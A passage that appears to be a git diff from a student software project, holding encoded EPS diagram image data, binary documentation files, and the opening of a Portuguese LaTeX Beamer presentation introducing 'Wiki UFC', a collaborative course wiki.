+r;ZcsJcC<$rr2rumJd7gs8N)urrW9$rrE&u!s&B$!<3!#!<<'!rr2rurVls"s8N)urr<&urrN3# +!;c]q!<2uu!<3!#!<<'!q#: +r;ZcsJcC<$rr2rumJd7gs8N)urrW9$rrE&u!s&B$!<3!#!<<'!rr2rurVls"s8N)urr<&urrN3# +!;c]q!<2uu!<3!#!<<'!q#: +r;ZcsJcC<$rr2rumJd7gs8N)urrW9$rrE&u!s&B$!<3!#!<<'!rr2rurVls"s8N)urr<&urrN3# +!;c]q!<2uu!<3!#!<<'!q#: +r;ZcsJcC<$rr2rumJd7gs8N)urrW9$rrE&u$3:,+!<<'!!<<'!rr;uurr3'#s8N)urr<&urrN3# +!;c]q!<2uu!<3!#!<<'!q#: +r;ZcsJcC<$rr2rumJd7gs8N)urrW9$rrE&u$3:,+!<<'!!<<'!rr;uurr3'#s8N)urr<&urrN3# +!;c]q!<2uu!<3!#!<<'!q#: +r;ZcsJcC<$rr2rumJd7gs8N)urrW9$rrE&u$3:,+!<<'!!<<'!rr;uurr3'#s8N)urr<&urrN3# +!;c]q!<2uu!<3!#!<<'!q#: +r;ZcsJcC<$rr2runc/Ofrr2rurr2rurr;rtrVult!WN0!rr`?%rrE)u!<)rs!<2uu!<2uu!;lcr +!<2uu!<2uu!<3#s!<<)u!<3#t!<)rq!<<*!!!3*"rr;osmJd.di;`fWJcGECrrCFGrrDcmJ,~> +r;ZcsJcC<$rr2runc/Ofrr2rurr2rurr;rtrVult!WN0!rr`?%rrE)u!<)rs!<2uu!<2uu!;lcr +!<2uu!<2uu!<3#s!<<)u!<3#t!<)rq!<<*!!!3*"rr;osmJd.di;`fWJcGECrrCFGrrDcmJ,~> +r;ZcsJcC<$rr2runc/Ofrr2rurr2rurr;rtrVult!WN0!rr`?%rrE)u!<)rs!<2uu!<2uu!;lcr +!<2uu!<2uu!<3#s!<<)u!<3#t!<)rq!<<*!!!3*"rr;osmJd.di;`fWJcGECrrCFGrrDcmJ,~> +r;ZcsJcC<$rr2ruNrK(Zk5PD]i;`fWJcGECrrCFGrrDcmJ,~> +r;ZcsJcC<$rr2ruNrK(Zk5PD]i;`fWJcGECrrCFGrrDcmJ,~> +r;ZcsJcC<$rr2ruNrK(Zk5PD]i;`fWJcGECrrCFGrrDcmJ,~> +r;ZcsJcC<$rr2ruP5kI\jo5;\n,EB;oDegjJcGECrrCFGrrDcmJ,~> +r;ZcsJcC<$rr2ruP5kI\jo5;\n,EB;oDegjJcGECrrCFGrrDcmJ,~> +r;ZcsJcC<$rr2ruP5kI\jo5;\n,EB;oDegjJcGECrrCFGrrDcmJ,~> +r;ZcsJcC<$rr2ruJcG<@!!)Kf!!)Wjrr@WMp&G$ld/X+GpA]X~> +r;ZcsJcC<$rr2ruJcG<@!!)Kf!!)Wjrr@WMp&G$ld/X+GpA]X~> +r;ZcsJcC<$rr2ruJcG<@!!)Kf!!)Wjrr@WMp&G$ld/X+GpA]X~> +r;ZcsJcC<$rr2ruJcG<@!!)Kf!!)Wjrr@WMp&G$ld/X+GpA]X~> +r;ZcsJcC<$rr2ruJcG<@!!)Kf!!)Wjrr@WMp&G$ld/X+GpA]X~> +r;ZcsJcC<$rr2ruJcG<@!!)Kf!!)Wjrr@WMp&G$ld/X+GpA]X~> +r;ZcsJcC<$rr2ruJcG<@!!)Kf!!)Wjrr@WMp&G$ld/X+GpA]X~> +r;ZcsJcC<$rr2ruJcG<@!!)Kf!!)Wjrr@WMp&G$ld/X+GpA]X~> +r;ZcsJcC<$rr2ruJcG<@!!)Kf!!)Wjrr@WMp&G$ld/X+GpA]X~> +r;ZcsJcC<$rr2runGiFeq>UEpOT,:\n,E@foDegjJcGECrrCFGrrDcmJ,~> +r;ZcsJcC<$rr2runGiFeq>UEpOT,:\n,E@foDegjJcGECrrCFGrrDcmJ,~> +r;ZcsJcC<$rr2runGiFeq>UEpOT,:\n,E@foDegjJcGECrrCFGrrDcmJ,~> +r;ZcsJcC<$rr2runG`Igrr2rulMghaT`4uln,EB;oDegjJcGECrrCFGrrDcmJ,~> +r;ZcsJcC<$rr2runG`Igrr2rulMghaT`4uln,EB;oDegjJcGECrrCFGrrDcmJ,~> +r;ZcsJcC<$rr2runG`Igrr2rulMghaT`4uln,EB;oDegjJcGECrrCFGrrDcmJ,~> +r;ZcsJcC<$rr2runG`Igrr3<*s8N*!!!*$!rrDus! +r;ZcsJcC<$rr2runG`Igrr3<*s8N*!!!*$!rrDus! +r;ZcsJcC<$rr2runG`Igrr3<*s8N*!!!*$!rrDus! +r;ZcsJcC<$rr2runG`Igrr3*$s8N'!rr3'#s8N)urrN3#!<3!#!<<'!rr2rurr2ruqu?Zrs8W*! +s8N0$s8N)urrW9$rrDus!!)rs!!*#u!s&B$!<3!#!<<'!rr2ruhu +r;ZcsJcC<$rr2runG`Igrr3*$s8N'!rr3'#s8N)urrN3#!<3!#!<<'!rr2rurr2ruqu?Zrs8W*! +s8N0$s8N)urrW9$rrDus!!)rs!!*#u!s&B$!<3!#!<<'!rr2ruhu +r;ZcsJcC<$rr2runG`Igrr3*$s8N'!rr3'#s8N)urrN3#!<3!#!<<'!rr2rurr2ruqu?Zrs8W*! +s8N0$s8N)urrW9$rrDus!!)rs!!*#u!s&B$!<3!#!<<'!rr2ruhu +r;ZcsJcC<$rr2runGiFerr2rurVls"s8N)urr<&srrW9$rrE&u!!*#u!!)or!!*#u!!*#u!s&B$ +!<3!#!<<'!r;Q`sq#:Ers8N)urrW9$rrE&u!!(pV!!%TMTE"okpA]X~> +r;ZcsJcC<$rr2runGiFerr2rurVls"s8N)urr<&srrW9$rrE&u!!*#u!!)or!!*#u!!*#u!s&B$ +!<3!#!<<'!r;Q`sq#:Ers8N)urrW9$rrE&u!!(pV!!%TMTE"okpA]X~> +r;ZcsJcC<$rr2runGiFerr2rurVls"s8N)urr<&srrW9$rrE&u!!*#u!!)or!!*#u!!*#u!s&B$ +!<3!#!<<'!r;Q`sq#:Ers8N)urrW9$rrE&u!!(pV!!%TMTE"okpA]X~> +r;ZcsJcC<$rr2ruqu?Qoqu6Wrqu6WrrVlitrr3$"rrE&ur;clt!!*#uquHWo!!*#u!!*#u!W`9# +quH`rrrE#trrE#tr;clt!!*#u!W`9#quGXS!!%TMTE"okpA]X~> +r;ZcsJcC<$rr2ruqu?Qoqu6Wrqu6WrrVlitrr3$"rrE&ur;clt!!*#uquHWo!!*#u!!*#u!W`9# +quH`rrrE#trrE#tr;clt!!*#u!W`9#quGXS!!%TMTE"okpA]X~> +r;ZcsJcC<$rr2ruqu?Qoqu6Wrqu6WrrVlitrr3$"rrE&ur;clt!!*#uquHWo!!*#u!!*#u!W`9# +quH`rrrE#trrE#tr;clt!!*#u!W`9#quGXS!!%TMTE"okpA]X~> +r;ZcsJcC<$rr2runG`Igqu6WrrVlitrr3-%rrE*!!<3!#!<<'!rr2rup\t3nrr2rurr3'#s8N)o +rr<&srrW9$rrE&u!s&B$!<3!#!<<'!g]%6Rn,EB;JcE%UrrDcmJ,~> +r;ZcsJcC<$rr2runG`Igqu6WrrVlitrr3-%rrE*!!<3!#!<<'!rr2rup\t3nrr2rurr3'#s8N)o +rr<&srrW9$rrE&u!s&B$!<3!#!<<'!g]%6Rn,EB;JcE%UrrDcmJ,~> +r;ZcsJcC<$rr2runG`Igqu6WrrVlitrr3-%rrE*!!<3!#!<<'!rr2rup\t3nrr2rurr3'#s8N)o +rr<&srrW9$rrE&u!s&B$!<3!#!<<'!g]%6Rn,EB;JcE%UrrDcmJ,~> +r;ZcsJcC<$rr2runG`Igqu6WrrVlitrr3-%rrE*!!<3!#!<<'!rr2rup\t3nrr2rurr3'#s8N)o +rr<&srrW9$rrE&u$3:,+!<<'!!<<'!g]%6Rn,E@fJcE%UrrDcmJ,~> +r;ZcsJcC<$rr2runG`Igqu6WrrVlitrr3-%rrE*!!<3!#!<<'!rr2rup\t3nrr2rurr3'#s8N)o +rr<&srrW9$rrE&u$3:,+!<<'!!<<'!g]%6Rn,E@fJcE%UrrDcmJ,~> +r;ZcsJcC<$rr2runG`Igqu6WrrVlitrr3-%rrE*!!<3!#!<<'!rr2rup\t3nrr2rurr3'#s8N)o +rr<&srrW9$rrE&u$3:,+!<<'!!<<'!g]%6Rn,E@fJcE%UrrDcmJ,~> +r;ZcsJcC<$rr2runG`Igqu6WrrVlitrVlitrVucqs8N'!rr;osqu6Wrrr2rurr2rurr;oss8W&u +rr;rtrVucqs8W*!!WN0!s8;rTrr<&frr<%Ms0D\)!;?GC~> +r;ZcsJcC<$rr2runG`Igqu6WrrVlitrVlitrVucqs8N'!rr;osqu6Wrrr2rurr2rurr;oss8W&u +rr;rtrVucqs8W*!!WN0!s8;rTrr<&frr<%Ms0D\)!;?GC~> +r;ZcsJcC<$rr2runG`Igqu6WrrVlitrVlitrVucqs8N'!rr;osqu6Wrrr2rurr2rurr;oss8W&u +rr;rtrVucqs8W*!!WN0!s8;rTrr<&frr<%Ms0D\)!;?GC~> +r;ZcsJcC<$rr2ruSGrQhf`(pOn,E@fJcE%UrrDcmJ,~> +r;ZcsJcC<$rr2ruSGrQhf`(pOn,E@fJcE%UrrDcmJ,~> +r;ZcsJcC<$rr2ruSGrQhf`(pOn,E@fJcE%UrrDcmJ,~> +r;ZcsJcC<$rr2ruT`=rjfDbgNn,E@fJcE%UrrDcmJ,~> +r;ZcsJcC<$rr2ruT`=rjfDbgNn,E@fJcE%UrrDcmJ,~> +r;ZcsJcC<$rr2ruT`=rjfDbgNn,E@fJcE%UrrDcmJ,~> +r;ZcsJcC<$rr2ruJcG<@qu?_HrVlkIr;ZhIrr2tJJcE%UrrDcmJ,~> +r;ZcsJcC<$rr2ruJcG<@qu?_HrVlkIr;ZhIrr2tJJcE%UrrDcmJ,~> +r;ZcsJcC<$rr2ruJcG<@qu?_HrVlkIr;ZhIrr2tJJcE%UrrDcmJ,~> +r;ZcsJcC<$rr2ruJcG<@!!%TMTE"okpA]X~> +r;ZcsJcC<$rr2ruJcG<@!!%TMTE"okpA]X~> +r;ZcsJcC<$rr2ruJcG<@!!%TMTE"okpA]X~> +r;ZcsJcC<$rr2ruJcG<@!!%TMTE"okpA]X~> +r;ZcsJcC<$rr2ruJcG<@!!%TMTE"okpA]X~> +r;ZcsJcC<$rr2ruJcG<@!!%TMTE"okpA]X~> +r;ZcsJcC<$rr2runGi@cM>mPUJcDABrrDcmJ,~> +r;ZcsJcC<$rr2runGi@cM>mPUJcDABrrDcmJ,~> +r;ZcsJcC<$rr2runGi@cM>mPUJcDABrrDcmJ,~> +r;ZcsJcC<$rr2runG`IgkPkM^TDnlkJcDABrrDcmJ,~> +r;ZcsJcC<$rr2runG`IgkPkM^TDnlkJcDABrrDcmJ,~> +r;ZcsJcC<$rr2runG`IgkPkM^TDnlkJcDABrrDcmJ,~> +r;ZcsJcC<$rr2runG`Igr;Q`sr;Qcts8E#trriE&!!*'!rW)iq#6=c(!<<'!!<)rs!<)rs!<3#t +!<3#t!<)rr!<3#t!7q/M!.k0Bs8N)ms*t~> +r;ZcsJcC<$rr2runG`Igr;Q`sr;Qcts8E#trriE&!!*'!rW)iq#6=c(!<<'!!<)rs!<)rs!<3#t +!<3#t!<)rr!<3#t!7q/M!.k0Bs8N)ms*t~> +r;ZcsJcC<$rr2runG`Igr;Q`sr;Qcts8E#trriE&!!*'!rW)iq#6=c(!<<'!!<)rs!<)rs!<3#t +!<3#t!<)rr!<3#t!7q/M!.k0Bs8N)ms*t~> +r;ZcsJcC<$rr2runG`Igqu6Wrrr3$"rrE&u$3:,+!!*'!!<<'!qZ$Qqs8W*!s8N0$s8N)urrW9$ +rrDus!!)rs!!*#u!s&B$!<3!#!<<'!rr2rufDbgNJcDABrrDcmJ,~> +r;ZcsJcC<$rr2runG`Igqu6Wrrr3$"rrE&u$3:,+!!*'!!<<'!qZ$Qqs8W*!s8N0$s8N)urrW9$ +rrDus!!)rs!!*#u!s&B$!<3!#!<<'!rr2rufDbgNJcDABrrDcmJ,~> +r;ZcsJcC<$rr2runG`Igqu6Wrrr3$"rrE&u$3:,+!!*'!!<<'!qZ$Qqs8W*!s8N0$s8N)urrW9$ +rrDus!!)rs!!*#u!s&B$!<3!#!<<'!rr2rufDbgNJcDABrrDcmJ,~> +r;ZcsJcC<$rr2runGiCds8N'!rr3$"rrE&u!s&B$!<3!#!<<'!qYpNqrr2rurr3'#s8N)urrW9$ +rrDus!!)fo!s&B$!<3!#!<<'!rr2rufDbgNJcDABrrDcmJ,~> +r;ZcsJcC<$rr2runGiCds8N'!rr3$"rrE&u!s&B$!<3!#!<<'!qYpNqrr2rurr3'#s8N)urrW9$ +rrDus!!)fo!s&B$!<3!#!<<'!rr2rufDbgNJcDABrrDcmJ,~> +r;ZcsJcC<$rr2runGiCds8N'!rr3$"rrE&u!s&B$!<3!#!<<'!qYpNqrr2rurr3'#s8N)urrW9$ +rrDus!!)fo!s&B$!<3!#!<<'!rr2rufDbgNJcDABrrDcmJ,~> +r;ZcsJcC<$rr2ruqu?Qoqu6WrqYpZurrE*!quHcs!!*#u!s&B$!;c]q!<2uu!<3!"!<<)s!<3#u +!<)rt!<)rr!<<'!!<3!"!<<)s!8%5N!.k0Bs8N)ms*t~> +r;ZcsJcC<$rr2ruqu?Qoqu6WrqYpZurrE*!quHcs!!*#u!s&B$!;c]q!<2uu!<3!"!<<)s!<3#u +!<)rt!<)rr!<<'!!<3!"!<<)s!8%5N!.k0Bs8N)ms*t~> +r;ZcsJcC<$rr2ruqu?Qoqu6WrqYpZurrE*!quHcs!!*#u!s&B$!;c]q!<2uu!<3!"!<<)s!<3#u +!<)rt!<)rr!<<'!!<3!"!<<)s!8%5N!.k0Bs8N)ms*t~> +r;ZcsJcC<$rr2runG`IgqYp^!rrE*!!;lcr!<3!#!<<'!qYpNqrr2rurr3'#s8N)orr<&srrW9$ +rrE&u!s&B$!<3!#!<<'!e,KCJJcDABrrDcmJ,~> +r;ZcsJcC<$rr2runG`IgqYp^!rrE*!!;lcr!<3!#!<<'!qYpNqrr2rurr3'#s8N)orr<&srrW9$ +rrE&u!s&B$!<3!#!<<'!e,KCJJcDABrrDcmJ,~> +r;ZcsJcC<$rr2runG`IgqYp^!rrE*!!;lcr!<3!#!<<'!qYpNqrr2rurr3'#s8N)orr<&srrW9$ +rrE&u!s&B$!<3!#!<<'!e,KCJJcDABrrDcmJ,~> +r;ZcsJcC<$rr2runG`IgqYp^!rrE*!!;lcr!<3!#!<<'!qYpNqrr2rurr3'#s8N)orr<&srrW9$ +rrE&u$3:,+!<<'!!<<'!e,KCJJcDABrrDcmJ,~> +r;ZcsJcC<$rr2runG`IgqYp^!rrE*!!;lcr!<3!#!<<'!qYpNqrr2rurr3'#s8N)orr<&srrW9$ +rrE&u$3:,+!<<'!!<<'!e,KCJJcDABrrDcmJ,~> +r;ZcsJcC<$rr2runG`IgqYp^!rrE*!!;lcr!<3!#!<<'!qYpNqrr2rurr3'#s8N)orr<&srrW9$ +rrE&u$3:,+!<<'!!<<'!e,KCJJcDABrrDcmJ,~> +r;ZcsJcC<$rr2runGi@crr2rurVufrs8N'!rr2rurr2ruqu6Wrrr2rurr2rurr;oss8W&urr;rt +rVucqs8W*!!WN0!s8;rLrr<%Ms.B>k!;?GC~> +r;ZcsJcC<$rr2runGi@crr2rurVufrs8N'!rr2rurr2ruqu6Wrrr2rurr2rurr;oss8W&urr;rt +rVucqs8W*!!WN0!s8;rLrr<%Ms.B>k!;?GC~> +r;ZcsJcC<$rr2runGi@crr2rurVufrs8N'!rr2rurr2ruqu6Wrrr2rurr2rurr;oss8W&urr;rt +rVucqs8W*!!WN0!s8;rLrr<%Ms.B>k!;?GC~> +r;ZcsJcC<$rr2ruV#LDpd/O(GJcDABrrDcmJ,~> +r;ZcsJcC<$rr2ruV#LDpd/O(GJcDABrrDcmJ,~> +r;ZcsJcC<$rr2ruV#LDpd/O(GJcDABrrDcmJ,~> +r;ZcsJcC<$rr2ruW;lerci3tFJcDABrrDcmJ,~> +r;ZcsJcC<$rr2ruW;lerci3tFJcDABrrDcmJ,~> +r;ZcsJcC<$rr2ruW;lerci3tFJcDABrrDcmJ,~> +r;ZcsJcC<$rr2ruJcG<@!!%TMTE"okpA]X~> +r;ZcsJcC<$rr2ruJcG<@!!%TMTE"okpA]X~> +r;ZcsJcC<$rr2ruJcG<@!!%TMTE"okpA]X~> +r;ZcsJcC<$rr2ruJcG<@!!%TMTE"okpA]X~> +r;ZcsJcC<$rr2ruJcG<@!!%TMTE"okpA]X~> +r;ZcsJcC<$rr2ruJcG<@!!%TMTE"okpA]X~> +r;ZcsJcC<$rr2ruJcG<@!!%TMTE"okpA]X~> +r;ZcsJcC<$rr2ruJcG<@!!%TMTE"okpA]X~> +r;ZcsJcC<$rr2ruJcG<@!!%TMTE"okpA]X~> +r;ZcsJcC<$rr2ruJcG<@!!%TMTE"okpA]X~> +r;ZcsJcC<$rr2ruJcG<@!!%TMTE"okpA]X~> +r;ZcsJcC<$rr2ruJcG<@!!%TMTE"okpA]X~> +r;ZcsJcC<$rr2ruJcG<@!!%TMTE"okpA]X~> +r;ZcsJcC<$rr2ruJcG<@!!%TMTE"okpA]X~> +r;ZcsJcC<$rr2ruJcG<@!!%TMTE"okpA]X~> +r;ZcsJcC<$rr2ruJcG<@!!%TMTE"okpA]X~> +r;ZcsJcC<$rr2ruJcG<@!!%TMTE"okpA]X~> +r;ZcsJcC<$rr2ruJcG<@!!%TMTE"okpA]X~> +r;ZcsJcC<$rr2ruJcG<@!!%TMTE"okpA]X~> +r;ZcsJcC<$rr2ruJcG<@!!%TMTE"okpA]X~> +r;ZcsJcC<$rr2ruJcG<@!!%TMTE"okpA]X~> +r;ZcsJcC<$rr2ruJcG<@!!%TMTE"okpA]X~> +r;ZcsJcC<$rr2ruJcG<@!!%TMTE"okpA]X~> +r;ZcsJcC<$rr2ruJcG<@!!%TMTE"okpA]X~> +r;ZcsJcC<$rr2ruJcG<@!!%TMTE"okpA]X~> +r;ZcsJcC<$rr2ruJcG<@!!%TMTE"okpA]X~> +r;ZcsJcC<$rr2ruJcG<@!!%TMTE"okpA]X~> +r;ZcsJcC<$rr2ruJcG<@!!%TMTE"okpA]X~> +r;ZcsJcC<$rr2ruJcG<@!!%TMTE"okpA]X~> +r;ZcsJcC<$rr2ruJcG<@!!%TMTE"okpA]X~> +r;ZcsJcC<$rr7NLn,S%>TE"okpA]X~> +r;ZcsJcC<$rr7NLn,S%>TE"okpA]X~> +r;ZcsJcC<$rr7NLn,S%>TE"okpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;ZcsJcC<$JcC<$MuWeWpA]X~> +r;V +r;V +r;V +r;V +r;V +r;V +JcC<$JcC<$JcGKEJ,~> +JcC<$JcC<$JcGKEJ,~> +JcC<$JcC<$JcGKEJ,~> +JcC<$JcC<$JcGKEJ,~> +JcC<$JcC<$JcGKEJ,~> +JcC<$JcC<$JcGKEJ,~> +JcC<$JcC<$JcGKEJ,~> +JcC<$JcC<$JcGKEJ,~> +JcC<$JcC<$JcGKEJ,~> +JcC<$JcC<$JcGKEJ,~> +JcC<$JcC<$JcGKEJ,~> +JcC<$JcC<$JcGKEJ,~> +JcC<$JcC<$JcGKEJ,~> +JcC<$JcC<$JcGKEJ,~> +JcC<$JcC<$JcGKEJ,~> +JcC<$JcC<$JcGKEJ,~> +JcC<$JcC<$JcGKEJ,~> +JcC<$JcC<$JcGKEJ,~> +JcC<$JcC<$JcGKEJ,~> +JcC<$JcC<$JcGKEJ,~> +JcC<$JcC<$JcGKEJ,~> +JcC<$JcC<$JcGKEJ,~> +JcC<$JcC<$JcGKEJ,~> +JcC<$JcC<$JcGKEJ,~> +JcC<$JcC<$JcGKEJ,~> +JcC<$JcC<$JcGKEJ,~> +JcC<$JcC<$JcGKEJ,~> +JcC<$JcC<$JcGKEJ,~> +JcC<$JcC<$JcGKEJ,~> +JcC<$JcC<$JcGKEJ,~> +JcC<$JcC<$JcGKEJ,~> +JcC<$JcC<$JcGKEJ,~> +JcC<$JcC<$JcGKEJ,~> +%%EndData +showpage +%%Trailer +end +%%EOF diff --git a/doc/aplicacao/classes-model.pdf b/doc/aplicacao/classes-model.pdf new file mode 100644 index 0000000..565719e Binary files /dev/null and b/doc/aplicacao/classes-model.pdf differ diff --git a/doc/aplicacao/seq_attachment.png b/doc/aplicacao/seq_attachment.png new file mode 100644 index 0000000..c33ae87 Binary files /dev/null and b/doc/aplicacao/seq_attachment.png differ diff --git a/doc/aplicacao/seq_course.png b/doc/aplicacao/seq_course.png new file mode 100644 index 0000000..03fa1fb Binary files /dev/null and b/doc/aplicacao/seq_course.png differ diff --git a/doc/aplicacao/seq_event.png b/doc/aplicacao/seq_event.png new file mode 100644 index 0000000..5085a6c Binary files /dev/null and b/doc/aplicacao/seq_event.png differ diff --git a/doc/aplicacao/seq_message.png b/doc/aplicacao/seq_message.png new file mode 100644 index 0000000..8950f75 Binary files /dev/null and b/doc/aplicacao/seq_message.png differ diff --git a/doc/aplicacao/seq_user.png b/doc/aplicacao/seq_user.png new file mode 100644 index 0000000..a07c38a Binary files /dev/null and b/doc/aplicacao/seq_user.png differ diff --git a/doc/aplicacao/seq_wiki.png b/doc/aplicacao/seq_wiki.png new file mode 100644 index 0000000..6d2599c Binary files /dev/null and b/doc/aplicacao/seq_wiki.png differ diff --git a/doc/apresentacao/apresentacao.pdf b/doc/apresentacao/apresentacao.pdf new file mode 100644 index 0000000..d31ad4d Binary files /dev/null and b/doc/apresentacao/apresentacao.pdf differ diff --git a/doc/apresentacao/apresentacao.tex b/doc/apresentacao/apresentacao.tex new file mode 100644 index 0000000..0b1637b --- /dev/null +++ b/doc/apresentacao/apresentacao.tex @@ -0,0 +1,402 @@ +\documentclass[11pt]{beamer} + +\usetheme{Oxygen} +\usepackage{xcolor} +\usepackage{thumbpdf} +\usepackage{wasysym} +\usepackage[utf8]{inputenc} +\usepackage[brazil]{babel} +\usepackage{graphicx} +\usepackage{pgf,pgfarrows,pgfnodes,pgfautomata,pgfheaps,pgfshade} +\usepackage{verbatim} + +%\useoutertheme{shadow} +\setbeamertemplate{sections/subsections in toc}[sections numbered] +\setbeamersize{text margin left=10mm} +\setbeamersize{text margin right=8mm} + +\definecolor{laranja}{HTML}{cc0000} +\definecolor{azul}{HTML}{003366} + +%\setbeamercolor{alerted text}{fg=azul} +%\setbeamercolor{structure}{fg=azul} +%\setbeamercolor{palette primary}{fg=laranja} +%\setbeamercolor{palette secondary}{fg=laranja!75!black} +%\setbeamercolor{palette tertiary}{fg=laranja!50!black} +%\setbeamercolor{palette quaternary}{fg=black} + +\def\gap{\vspace{0.1in}} +\def\Gap{\vspace{0.25in}} + +\pdfinfo { + /Title (Wiki UFC) + /Creator (TeX) + /Author (Álinson Santos, + André Castro, + Adriano Freitas, + Luis Henrique, + Rafael Barbosa) +} + + +\title{\textbf{Wiki UFC}} +\subtitle{Apresentação da Aplicação} +\date{28 de junho de 2007} +\author[Álinson, André, Adriano, Bustamante, Rafael]{\small{ + Álinson Santos \\ + André Castro \\ + Adriano Freitas \\ + Luis Henrique \\ + Rafael Barbosa +}} + +\begin{document} + +% Capa +% ============================================================================== +\section*{} +\frame{ + \titlepage + \thispagestyle{empty} +} +\begin{frame} + \frametitle{Índice} + %\framesubtitle{Visão geral} + \tableofcontents[subsectionstyle=hide] +\end{frame} + +\AtBeginSection[] { + \frame { + \frametitle{Índice} + %\framesubtitle{\insertsection} + \tableofcontents[currentsection,subsectionstyle=show/show/hide] + } +} + +%\AtBeginSubsection[] { +% \frame { +% \tableofcontents[sectionstyle=show/hide,subsectionstyle=show/shaded/hide] +% } +%} + +\newcommand<>{\highlighton}[1]{% + \alt#2{\structure{#1}}{{#1}} +} + + +% Introdução +% ============================================================================== +\section{Introdução} + + % Problema atual e solucao proposta + % ------------------------------------------------------------------------- + \subsection{Problema atual} + \begin{frame} + \frametitle{Problema atual} + + Hoje em dia, os alunos do nosso curso não possuem uma maneira eficiente + de trocar informações sobre as disciplinas que estão cursando. + + \gap + \begin{itemize} + \item Cada disciplina possui sua própria lista de emails + \item Não existe um calendário oficial no qual os estudantes possam + confiar + \item É dificil compartilhar material como notas de aulas e listas + de exercícios + \item É díficil obter o material utilizado nos semestres anteriores + \end{itemize} + \end{frame} + + % Objetivos + % ------------------------------------------------------------------------- + \subsection{Solução proposta} + \begin{frame} + \frametitle{Solução proposta} + Uma aplicação \textsc{WEB} colaborativa onde os alunos poderão + compartilhar informações sobre as disciplinas que estão cursando. + + \Gap + Objetivos: + \begin{itemize} + \item Permitir a colaboração descentralizada de alunos para o curso + \item Facilitar a divulgação do conhecimento + \item Tornar a vida do estudante mais organizada + \end{itemize} + + \end{frame} + + % Soluções alternativas + % ------------------------------------------------------------------------- + \subsection{Soluções alternativas} + \begin{frame} + 